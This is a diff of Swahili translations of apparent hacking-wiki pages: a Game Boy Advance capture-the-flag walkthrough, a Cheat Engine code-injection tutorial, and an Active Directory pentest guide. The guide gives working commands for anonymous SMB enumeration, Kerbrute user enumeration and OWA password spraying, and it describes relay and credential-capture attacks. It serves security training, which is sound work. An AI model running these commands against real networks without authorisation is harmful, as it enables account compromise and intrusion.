DAT_030000d4 = 0;
@ -370,15 +370,15 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
```
Katika msimbo uliopita unaweza kuona kwamba tunalinganisha **uVar1** (mahali ambapo **thamani ya kitufe kilichobanwa** iko) na baadhi ya thamani:
- Kwanza, inalinganishwa na **thamani 4** (**KITUFU**): Katika changamoto hii kitufe kinafuta skrini
- Kisha, inalinganishwa na **thamani 8** (**ANZA**): Katika changamoto hii inakagua kama msimbo ni halali kupata bendera.
- Kwanza, inalinganishwa na **thamani 4** (**SELECT** kitufe): Katika changamoto hii kitufe kinafuta skrini
- Kisha, inalinganishwa na **thamani 8** (**START** kitufe): Katika changamoto hii inakagua kama msimbo ni halali kupata bendera.
- Katika kesi hii, var **`DAT_030000d8`** inalinganishwa na 0xf3 na ikiwa thamani ni sawa, msimbo fulani unatekelezwa.
- Katika kesi nyingine yoyote, cont (`DAT_030000d4`) inakaguliwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia kwenye msimbo.\
**I**kawa chini ya 8, kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinafanywa (kimsingi inaongeza thamani za funguo zilizobanwa katika variable hii mradi cont iwe chini ya 8).
- Katika kesi nyingine, baadhi ya cont (`DAT_030000d4`) inakaguliwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia kwenye msimbo.\
**I**kawa chini ya 8, kitu kinachohusisha **kuongeza** thamani kwa **`DAT_030000d8`** kinafanywa (kimsingi inaongeza thamani za funguo zilizobanwa katika variable hii mradi cont iwe chini ya 8).
Hivyo, katika changamoto hii, kujua thamani za vitufe, ulipaswa **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao jumla inayotokana ni 0xf3.**
**Marejeleo ya mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
**Marejeo kwa ajili ya mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
## Game Boy

View File

@ -10,7 +10,7 @@ Unaposhusha na kuendesha, unapata **mafunzo** ya jinsi ya kutumia chombo hicho.
![](<../../images/image (762).png>)
Chombo hiki ni muhimu sana kutafuta **mahali ambapo thamani fulani** (kawaida ni nambari) **imehifadhiwa katika kumbukumbu** ya programu.\
**Kawaida nambari** huhifadhiwa katika **4bytes** form, lakini unaweza pia kuziona katika **double** au **float** formats, au unaweza kutaka kutafuta kitu **tofauti na nambari**. Kwa hiyo unahitaji kuwa na uhakika unachagua kile unachotaka **kutafuta**:
**Kawaida nambari** huhifadhiwa katika **4bytes**, lakini unaweza pia kuziona katika **double** au **float** formats, au unaweza kutaka kutafuta kitu **tofauti na nambari**. Kwa hiyo unahitaji kuwa na uhakika unachagua kile unachotaka **kutafuta**:
![](<../../images/image (324).png>)
@ -18,7 +18,7 @@ Pia unaweza kuashiria **aina tofauti** za **tafutizi**:
![](<../../images/image (311).png>)
Pia unaweza kuangalia kisanduku ili **kusitisha mchezo wakati wa kuskania kumbukumbu**:
Unaweza pia kuangalia kisanduku ili **kusitisha mchezo wakati wa kuskania kumbukumbu**:
![](<../../images/image (1052).png>)
@ -30,7 +30,7 @@ Katika _**Edit --> Settings --> Hotkeys**_ unaweza kuweka **hotkeys** tofauti kw
## Kubadilisha thamani
Mara tu unapokuwa **umeipata** wapi **thamani** unayo **itafuta** (zaidi kuhusu hii katika hatua zinazofuata) unaweza **kuibadilisha** kwa kubofya mara mbili, kisha kubofya mara mbili kwenye thamani yake:
Mara tu unapokuwa **umeipata** ambapo **thamani** unayo **tafuta** (zaidi kuhusu hii katika hatua zinazofuata) unaweza **kuibadilisha** kwa kubofya mara mbili, kisha kubofya mara mbili kwenye thamani yake:
![](<../../images/image (563).png>)
@ -38,11 +38,11 @@ Na hatimaye **kuweka alama** ili kupata mabadiliko yafanyike katika kumbukumbu:
![](<../../images/image (385).png>)
**Mabadiliko** kwa **kumbukumbu** yatakuwa **yamewekwa** mara moja (kumbuka kwamba hadi mchezo usitumie thamani hii tena thamani **haitawekwa upya katika mchezo**).
**Mabadiliko** kwa **kumbukumbu** yatatumika mara moja **(kumbuka kwamba hadi mchezo usitumie thamani hii tena thamani **haitawekwa upya katika mchezo**).**
## Kutafuta thamani
Hivyo, tutadhani kuna thamani muhimu (kama maisha ya mtumiaji wako) unayotaka kuboresha, na unatafuta thamani hii katika kumbukumbu)
Hivyo, tunaweza kudhani kwamba kuna thamani muhimu (kama maisha ya mtumiaji wako) ambayo unataka kuboresha, na unatafuta thamani hii katika kumbukumbu)
### Kupitia mabadiliko yanayojulikana
@ -55,7 +55,7 @@ Kisha, unafanya kitu ili **thamani ibadilike**, na un **asitisha** mchezo na **u
![](<../../images/image (684).png>)
Cheat Engine itatafuta **thamani** ambazo **zilipita kutoka 100 hadi thamani mpya**. Hongera, umepata **anwani** ya thamani uliyokuwa unatafuta, sasa unaweza kuibadilisha.\
_Ikiwa bado una thamani kadhaa, fanya kitu kubadilisha tena thamani hiyo, na fanya "scan inayofuata" ili kuchuja anwani._
_Ikiwa bado una thamani kadhaa, fanya kitu ili kubadilisha tena thamani hiyo, na fanya "scan inayofuata" ili kuchuja anwani._
### Thamani isiyojulikana, mabadiliko yanayojulikana
@ -65,32 +65,32 @@ Hivyo, anza kwa kufanya scan ya aina "**Thamani ya mwanzo isiyojulikana**":
![](<../../images/image (890).png>)
Kisha, fanya thamani ibadilike, eleza **jinsi** **thamani** **ilibadilika** (katika kesi yangu ilipungua kwa 1) na fanya **scan inayofuata**:
Kisha, fanya thamani ibadilike, onyesha **jinsi** **thamani** **ilibadilika** (katika kesi yangu ilipungua kwa 1) na fanya **scan inayofuata**:
![](<../../images/image (371).png>)
Utawasilishwa **na thamani zote ambazo zilibadilishwa kwa njia iliyochaguliwa**:
Utawasilishwa **na thamani zote ambazo zilibadilishwa kwa njia iliyo chaguliwa**:
![](<../../images/image (569).png>)
Mara tu unapokuwa umepata thamani yako, unaweza kuibadilisha.
Kumbuka kwamba kuna **mabadiliko mengi yanayowezekana** na unaweza kufanya **hatua hizi kadri unavyotaka** ili kuchuja matokeo:
Kumbuka kwamba kuna **mabadiliko mengi yanayowezekana** na unaweza kufanya hatua hizi **mara nyingi kadri unavyotaka** ili kuchuja matokeo:
![](<../../images/image (574).png>)
### Anwani ya Kumbukumbu ya Nasibu - Kutafuta msimbo
Hadi sasa tumefundishwa jinsi ya kupata anwani inayohifadhi thamani, lakini kuna uwezekano mkubwa kwamba katika **utekelezaji tofauti wa mchezo anwani hiyo iko katika maeneo tofauti ya kumbukumbu**. Hivyo hebu tujifunze jinsi ya kila wakati kupata anwani hiyo.
Hadi sasa tumefundishwa jinsi ya kupata anwani inayohifadhi thamani, lakini ni uwezekano mkubwa kwamba katika **utekelezaji tofauti wa mchezo anwani hiyo iko katika maeneo tofauti ya kumbukumbu**. Hivyo hebu tujifunze jinsi ya kila wakati kupata anwani hiyo.
Tumia baadhi ya hila zilizotajwa, pata anwani ambapo mchezo wako wa sasa unahifadhi thamani muhimu. Kisha (ukisimamisha mchezo ikiwa unataka) fanya **kulia bonyeza** kwenye **anwani** iliyopatikana na uchague "**Jua ni nani anayeingia kwenye anwani hii**" au "**Jua ni nani anayeandika kwenye anwani hii**":
Kwa kutumia baadhi ya hila zilizotajwa, pata anwani ambapo mchezo wako wa sasa unahifadhi thamani muhimu. Kisha (ukisitisha mchezo ikiwa unataka) fanya **kulia** kwenye **anwani** iliyopatikana na uchague "**Jua ni nani anayefikia anwani hii**" au "**Jua ni nani anayandika kwenye anwani hii**":
![](<../../images/image (1067).png>)
**Chaguo la kwanza** ni muhimu kujua **sehemu** za **msimbo** zinazotumia **anwani hii** (ambayo ni muhimu kwa mambo mengine kama **kujua wapi unaweza kubadilisha msimbo** wa mchezo).\
**Chaguo la kwanza** ni muhimu kujua ni **sehemu** gani za **msimbo** zinazo **tumia** **anwani hii** (ambayo ni muhimu kwa mambo mengine kama **kujua wapi unaweza kubadilisha msimbo** wa mchezo).\
**Chaguo la pili** ni **maalum zaidi**, na litakuwa na msaada zaidi katika kesi hii kwani tunavutiwa kujua **kutoka wapi thamani hii inaandikwa**.
Mara tu unapochagua moja ya chaguzi hizo, **debugger** itakuwa **imeunganishwa** na programu na dirisha jipya **bila maudhui** litajitokeza. Sasa, **cheza** **mchezo** na **badilisha** **thamani hiyo** (bila kuanzisha upya mchezo). **Dirisha** linapaswa kuwa **limejaa** na **anwani** zinazobadilisha **thamani**:
Mara tu unapochagua moja ya chaguzi hizo, **debugger** itakuwa **imeunganishwa** na programu na dirisha jipya **bila maudhui** litajitokeza. Sasa, **cheza** **mchezo** na **badilisha** hiyo **thamani** (bila kuanzisha upya mchezo). **Dirisha** linapaswa kuwa **limejaa** na **anwani** ambazo zina **badilisha** **thamani**:
![](<../../images/image (91).png>)
@ -102,7 +102,7 @@ Hivyo, sasa unaweza kuibadilisha ili msimbo usiathiri nambari yako, au uathiri k
### Anwani ya Kumbukumbu ya Nasibu - Kutafuta kiashiria
Kufuata hatua zilizopita, pata wapi thamani unayovutiwa nayo iko. Kisha, kwa kutumia "**Jua ni nani anayeandika kwenye anwani hii**" pata ni anwani gani inayoandika thamani hii na ubofye mara mbili ili kupata mtazamo wa disassembly:
Kufuata hatua zilizopita, pata mahali ambapo thamani unayovutiwa nayo iko. Kisha, kwa kutumia "**Jua ni nani anayandika kwenye anwani hii**" pata ni anwani gani inayoandika thamani hii na ubofye mara mbili ili kupata mtazamo wa disassembly:
![](<../../images/image (1039).png>)
@ -110,20 +110,20 @@ Kisha, fanya scan mpya **ukitafuta thamani ya hex kati ya "\[]"** (thamani ya $e
![](<../../images/image (994).png>)
(_Ikiwa kadhaa zinaonekana kawaida unahitaji ile anwani ndogo zaidi_)\
Sasa, tumepata **kiashiria ambacho kitakuwa kinabadilisha thamani tunayotaka**.
(_Ikiwa kadhaa zinaonekana kawaida unahitaji anwani ndogo zaidi_)\
Sasa, tumepata **kiashiria ambacho kitakuwa kinabadilisha thamani tunayoipenda**.
Bonyeza "**Ongeza Anwani kwa Mikono**":
Bofya kwenye "**Ongeza Anwani kwa Mikono**":
![](<../../images/image (990).png>)
Sasa, bonyeza kisanduku cha "Kiashiria" na ongeza anwani iliyopatikana katika kisanduku cha maandiko (katika hali hii, anwani iliyopatikana katika picha iliyopita ilikuwa "Tutorial-i386.exe"+2426B0):
Sasa, bofya kwenye kisanduku cha "Kiashiria" na ongeza anwani iliyopatikana kwenye kisanduku cha maandiko (katika hali hii, anwani iliyopatikana katika picha ya awali ilikuwa "Tutorial-i386.exe"+2426B0):
![](<../../images/image (392).png>)
(Kumbuka jinsi "Anwani" ya kwanza inajazwa kiotomatiki kutoka kwa anwani ya kiashiria unayoingiza)
Bonyeza OK na kiashiria kipya kitaundwa:
Bofya OK na kiashiria kipya kitaundwa:
![](<../../images/image (308).png>)
@ -131,14 +131,14 @@ Sasa, kila wakati unabadilisha thamani hiyo unakuwa **unabadilisha thamani muhim
### Uingizaji wa Msimbo
Uingizaji wa msimbo ni mbinu ambapo unatia kipande cha msimbo katika mchakato wa lengo, na kisha kuhamasisha utekelezaji wa msimbo ili kupita kupitia msimbo wako ulioandikwa (kama kukupa pointi badala ya kuziondoa).
Uingizaji wa msimbo ni mbinu ambapo unatia kipande cha msimbo ndani ya mchakato wa lengo, na kisha kuhamasisha utekelezaji wa msimbo ili upite kupitia msimbo wako ulioandikwa (kama kukupa alama badala ya kuziondoa).
Hivyo, fikiria umepata anwani inayopunguza 1 kwa maisha ya mchezaji wako:
![](<../../images/image (203).png>)
Bonyeza onyesha disassembler ili kupata **msimbo wa disassemble**.\
Kisha, bonyeza **CTRL+a** ili kuanzisha dirisha la Auto assemble na uchague _**Template --> Uingizaji wa Msimbo**_
Bofya onyesha disassembler ili kupata **msimbo wa disassemble**.\
Kisha, bofya **CTRL+a** ili kuanzisha dirisha la Auto assemble na uchague _**Template --> Uingizaji wa Msimbo**_
![](<../../images/image (902).png>)
@ -150,11 +150,11 @@ Kigezo kitaundwa:
![](<../../images/image (944).png>)
Hivyo, ingiza msimbo wako mpya wa assembly katika sehemu ya "**newmem**" na ondolea msimbo wa asili kutoka kwenye "**originalcode**" ikiwa hutaki itekelezwe\*\*.\*\* Katika mfano huu msimbo uliotiwa utaongeza pointi 2 badala ya kupunguza 1:
Hivyo, ingiza msimbo wako mpya wa assembly katika sehemu ya "**newmem**" na ondoa msimbo wa asili kutoka kwa "**originalcode**" ikiwa hutaki utekelezwe. Katika mfano huu, msimbo uliotiwa utaongeza alama 2 badala ya kupunguza 1:
![](<../../images/image (521).png>)
**Bonyeza kwenye tekeleza na kadhalika na msimbo wako unapaswa kuingizwa katika programu ukibadilisha tabia ya kazi hiyo!**
**Bofya kwenye tekeleza na kadhalika na msimbo wako unapaswa kuingizwa katika programu ukibadilisha tabia ya kazi hiyo!**
## **Marejeleo**

View File

@ -4,16 +4,16 @@
## Basic overview
**Active Directory** inatoa teknolojia ya msingi, ikiruhusu **wasimamizi wa mtandao** kuunda na kusimamia kwa ufanisi **doma**, **watumiaji**, na **vitu** ndani ya mtandao. Imeundwa ili kupanuka, ikisaidia kuandaa idadi kubwa ya watumiaji katika **makundi** na **subgroups** yanayoweza kudhibitiwa, huku ikidhibiti **haki za ufikiaji** katika ngazi mbalimbali.
**Active Directory** inatoa teknolojia ya msingi, ikiruhusu **wasimamizi wa mtandao** kuunda na kusimamia kwa ufanisi **doma**, **watumiaji**, na **vitu** ndani ya mtandao. Imeundwa ili kupanuka, ikirahisisha shirika la idadi kubwa ya watumiaji katika **makundi** na **subgroups** yanayoweza kudhibitiwa, huku ikidhibiti **haki za ufikiaji** katika ngazi mbalimbali.
Muundo wa **Active Directory** unajumuisha tabaka tatu kuu: **doma**, **miti**, na **misitu**. **Doma** inajumuisha mkusanyiko wa vitu, kama **watumiaji** au **vifaa**, vinavyoshiriki hifadhidata ya kawaida. **Miti** ni makundi ya hizi doma zilizounganishwa na muundo wa pamoja, na **msitu** unawakilisha mkusanyiko wa miti kadhaa, zilizounganishwa kupitia **uhusiano wa kuaminiana**, zikiforma tabaka la juu zaidi la muundo wa shirika. Haki maalum za **ufikiaji** na **mawasiliano** zinaweza kutolewa katika kila moja ya ngazi hizi.
Muundo wa **Active Directory** unajumuisha tabaka tatu kuu: **doma**, **miti**, na **misitu**. **Doma** inajumuisha mkusanyiko wa vitu, kama **watumiaji** au **vifaa**, vinavyoshiriki hifadhidata ya pamoja. **Miti** ni makundi ya hizi doma zilizounganishwa na muundo wa pamoja, na **msitu** unawakilisha mkusanyiko wa miti kadhaa, zilizounganishwa kupitia **uhusiano wa kuaminiana**, zikiforma tabaka la juu zaidi la muundo wa shirika. Haki maalum za **ufikiaji** na **mawasiliano** zinaweza kutolewa katika kila moja ya hizi ngazi.
Mifano muhimu ndani ya **Active Directory** ni pamoja na:
1. **Directory** Inahifadhi taarifa zote zinazohusiana na vitu vya Active Directory.
2. **Object** Inamaanisha viumbe ndani ya directory, ikiwa ni pamoja na **watumiaji**, **makundi**, au **folda zilizoshirikiwa**.
3. **Domain** Inatumika kama chombo cha vitu vya directory, ikiwa na uwezo wa doma nyingi kuishi pamoja ndani ya **msitu**, kila moja ikihifadhi mkusanyiko wake wa vitu.
4. **Tree** Kundi la doma zinazoshiriki domain ya mzizi wa kawaida.
4. **Tree** Kundi la doma zinazoshiriki domain ya mzizi wa pamoja.
5. **Forest** Kilele cha muundo wa shirika katika Active Directory, kinachojumuisha miti kadhaa zikiwa na **uaminifu** kati yao.
**Active Directory Domain Services (AD DS)** inajumuisha huduma mbalimbali muhimu kwa usimamizi wa kati na mawasiliano ndani ya mtandao. Huduma hizi zinajumuisha:
@ -36,16 +36,19 @@ Ili kujifunza jinsi ya **kushambulia AD** unahitaji **kuelewa** vizuri mchakato
Unaweza kutembelea [https://wadcoms.github.io/](https://wadcoms.github.io) kupata muonekano wa haraka wa amri ambazo unaweza kukimbia ili kuhesabu/kutumia AD.
> [!WARNING]
> Mawasiliano ya Kerberos **yanahitaji jina lililo kamili (FQDN)** kwa ajili ya kutekeleza vitendo. Ikiwa unajaribu kufikia mashine kwa anwani ya IP, **itatumia NTLM na si kerberos**.
## Recon Active Directory (No creds/sessions)
Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akreditivu/sessions unaweza:
Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akreditif/mikakati yoyote unaweza:
- **Pentest mtandao:**
- Scan mtandao, pata mashine na bandari wazi na jaribu **kutumia udhaifu** au **kuchota akreditivu** kutoka kwao (kwa mfano, [printa zinaweza kuwa malengo ya kuvutia sana](ad-information-in-printers.md)).
- Scan mtandao, pata mashine na bandari wazi na jaribu **kutumia udhaifu** au **kuchota akreditif** kutoka kwao (kwa mfano, [printa zinaweza kuwa malengo ya kuvutia sana](ad-information-in-printers.md).
- Kuorodhesha DNS kunaweza kutoa taarifa kuhusu seva muhimu katika domain kama wavuti, printa, sehemu, vpn, media, nk.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Angalia [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) kupata maelezo zaidi kuhusu jinsi ya kufanya hivi.
- **Angalia ufikiaji wa null na Guest kwenye huduma za smb** (hii haitafanya kazi kwenye toleo jipya la Windows):
- **Angalia ufikiaji wa null na Guest kwenye huduma za smb** (hii haitafanya kazi kwenye toleo la kisasa la Windows):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -64,12 +67,12 @@ Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akreditivu/sessions unaweza
{{#endref}}
- **Poison mtandao**
- Kusanya akreditivu [**ukijifanya huduma kwa Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Kusanya akreditif [**ukijifanya huduma na Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Fikia mwenyeji kwa [**kudhulumu shambulio la relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Kusanya akreditivu **ukifichua** [**huduma za UPnP za uongo na evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Kusanya akreditif **ukifichua** [**huduma za UPnP za uongo na evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Toa majina ya watumiaji/majina kutoka kwa nyaraka za ndani, mitandao ya kijamii, huduma (hasa wavuti) ndani ya mazingira ya domain na pia kutoka kwa yaliyopo hadharani.
- Ikiwa unapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu kanuni tofauti za **majina ya watumiaji AD** (**[soma hii](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Kanuni maarufu ni: _NameSurname_, _Name.Surname_, _NamSur_ (herufi 3 za kila moja), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, herufi 3 _za nasibu na nambari 3 za nasibu_ (abc123).
- Ikiwa unapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu kanuni tofauti za **majina ya watumiaji AD** (**[soma hii](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Kanuni maarufu zaidi ni: _NameSurname_, _Name.Surname_, _NamSur_ (herufi 3 za kila moja), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, herufi 3 _za nasibu na nambari 3 za nasibu_ (abc123).
- Zana:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -77,8 +80,8 @@ Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akreditivu/sessions unaweza
### User enumeration
- **Anonymous SMB/LDAP enum:** Angalia [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) na [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) kurasa.
- **Kerbrute enum**: Wakati **jina la mtumiaji lisilo sahihi linapohitajika** seva itajibu kwa kutumia **nambari ya kosa la Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ikituruhusu kubaini kwamba jina la mtumiaji halikuwa sahihi. **Majina sahihi ya watumiaji** yatatoa ama **TGT katika jibu la AS-REP** au kosa _KRB5KDC_ERR_PREAUTH_REQUIRED_, ikionyesha kwamba mtumiaji anahitajika kufanya uthibitishaji wa awali.
- **Hakuna Uthibitishaji dhidi ya MS-NRPC**: Kutumia kiwango cha uthibitishaji = 1 (Hakuna uthibitishaji) dhidi ya kiolesura cha MS-NRPC (Netlogon) kwenye wasimamizi wa domain. Njia hii inaita kazi ya `DsrGetDcNameEx2` baada ya kuunganisha kiolesura cha MS-NRPC ili kuangalia ikiwa mtumiaji au kompyuta ipo bila akreditivu yoyote. Zana ya [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) inatekeleza aina hii ya kuorodhesha. Utafiti unaweza kupatikana [hapa](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
- **Kerbrute enum**: Wakati **jina la mtumiaji lisilo sahihi linapohitajika** seva itajibu kwa kutumia **kodi ya kosa la Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ikiruhusu kutambua kuwa jina la mtumiaji halikuwa sahihi. **Majina sahihi ya watumiaji** yatatoa ama **TGT katika jibu la AS-REP** au kosa _KRB5KDC_ERR_PREAUTH_REQUIRED_, ikionyesha kuwa mtumiaji anahitajika kufanya uthibitishaji wa awali.
- **Hakuna Uthibitishaji dhidi ya MS-NRPC**: Kutumia kiwango cha uthibitishaji = 1 (Hakuna uthibitishaji) dhidi ya interface ya MS-NRPC (Netlogon) kwenye kudhibiti doma. Njia hii inaita kazi ya `DsrGetDcNameEx2` baada ya kuunganisha interface ya MS-NRPC ili kuangalia ikiwa mtumiaji au kompyuta ipo bila akreditif yoyote. Zana ya [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) inatekeleza aina hii ya kuorodhesha. Utafiti unaweza kupatikana [hapa](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -105,17 +108,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> Unaweza kupata orodha za majina ya watumiaji katika [**hii github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* na hii nyingine ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
> Unaweza kupata orodha za majina ya watumiaji katika [**hii github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) na hii nyingine ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Hata hivyo, unapaswa kuwa na **jina la watu wanaofanya kazi katika kampuni** kutoka hatua ya reconnaissance ambayo unapaswa kuwa umefanya kabla ya hii. Kwa jina na jina la ukoo unaweza kutumia script [**namemash.py**](https://gist.github.com/superkojiman/11076951) kuunda majina ya watumiaji yanayoweza kuwa halali.
> Hata hivyo, unapaswa kuwa na **jina la watu wanaofanya kazi katika kampuni** kutoka hatua ya reconnaissance ambayo unapaswa kuwa umefanya kabla ya hii. Kwa jina na jina la ukoo unaweza kutumia script [**namemash.py**](https://gist.github.com/superkojiman/11076951) kuunda majina ya watumiaji halali yanayoweza kuwa.
### Kujua jina moja au kadhaa za watumiaji
### Kujua jina moja au kadhaa la watumiaji
Sawa, hivyo unajua tayari una jina halali la mtumiaji lakini hakuna nywila... Kisha jaribu:
Sawa, kwa hivyo unajua tayari una jina halali la mtumiaji lakini hakuna nywila... Kisha jaribu:
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na data fulani iliyosimbwa kwa mchanganyiko wa nywila ya mtumiaji.
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na data fulani iliyosimbwa kwa kutumia mchanganyiko wa nywila ya mtumiaji.
- [**Password Spraying**](password-spraying.md): Jaribu nywila **za kawaida zaidi** na kila mmoja wa watumiaji ulioyagundua, labda mtumiaji fulani anatumia nywila mbaya (kumbuka sera ya nywila!).
- Kumbuka kwamba unaweza pia **spray OWA servers** kujaribu kupata ufikiaji wa seva za barua pepe za watumiaji.
- Kumbuka kwamba unaweza pia **spray OWA servers** kujaribu kupata ufikiaji wa seva za barua za watumiaji.
{{#ref}}
password-spraying.md
@ -131,11 +134,11 @@ Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kuvunja
### NTLM Relay
Ikiwa umeweza kuorodhesha active directory utakuwa na **barua pepe zaidi na ufahamu bora wa mtandao**. Unaweza kuwa na uwezo wa kulazimisha NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* kupata ufikiaji wa mazingira ya AD.
Ikiwa umeweza kuorodhesha active directory utakuwa na **barua pepe zaidi na ufahamu bora wa mtandao**. Unaweza kuwa na uwezo wa kulazimisha NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) kupata ufikiaji wa mazingira ya AD.
### Kuiba NTLM Creds
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa it **itazindua uthibitishaji wa NTLM dhidi yako** ili uweze **kuiba** **NTLM challenge** ili kuivunja:
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa it **itazindua uthibitisho wa NTLM dhidi yako** ili uweze **kuiba** **changamoto ya NTLM** ili kuivunja:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -155,23 +158,23 @@ kerberos-double-hop-problem.md
Kuwa na akaunti iliyovamiwa ni **hatua kubwa kuanza kuvamia kikoa zima**, kwa sababu utaweza kuanza **Kuorodhesha Active Directory:**
Kuhusu [**ASREPRoast**](asreproast.md) sasa unaweza kupata kila mtumiaji anayeweza kuwa hatarini, na kuhusu [**Password Spraying**](password-spraying.md) unaweza kupata **orodha ya majina yote ya watumiaji** na kujaribu nywila ya akaunti iliyovamiwa, nywila tupu na nywila mpya zinazowezekana.
Kuhusu [**ASREPRoast**](asreproast.md) sasa unaweza kupata kila mtumiaji anayeweza kuwa na udhaifu, na kuhusu [**Password Spraying**](password-spraying.md) unaweza kupata **orodha ya majina yote ya watumiaji** na kujaribu nywila ya akaunti iliyovamiwa, nywila tupu na nywila mpya zinazowezekana.
- Unaweza kutumia [**CMD kufanya reconnaissance ya msingi**](../basic-cmd-for-pentesters.md#domain-info)
- Unaweza pia kutumia [**powershell kwa reconnaissance**](../basic-powershell-for-pentesters/index.html) ambayo itakuwa ya siri zaidi
- Unaweza pia [**kutumia powerview**](../basic-powershell-for-pentesters/powerview.md) kutoa taarifa zaidi za kina
- Unaweza pia [**kutumia powerview**](../basic-powershell-for-pentesters/powerview.md) kutoa taarifa za kina zaidi
- Zana nyingine nzuri kwa ajili ya reconnaissance katika active directory ni [**BloodHound**](bloodhound.md). Si **ya siri sana** (kulingana na mbinu za ukusanyaji unazotumia), lakini **ikiwa hujali** kuhusu hilo, unapaswa kujaribu kabisa. Pata mahali ambapo watumiaji wanaweza RDP, pata njia za makundi mengine, nk.
- **Zana nyingine za kuorodhesha AD za kiotomatiki ni:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- **Zana nyingine za kiotomatiki za kuorodhesha AD ni:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Rekodi za DNS za AD**](ad-dns-records.md) kwani zinaweza kuwa na taarifa za kuvutia.
- **Zana yenye GUI** ambayo unaweza kutumia kuorodhesha directory ni **AdExplorer.exe** kutoka **SysInternal** Suite.
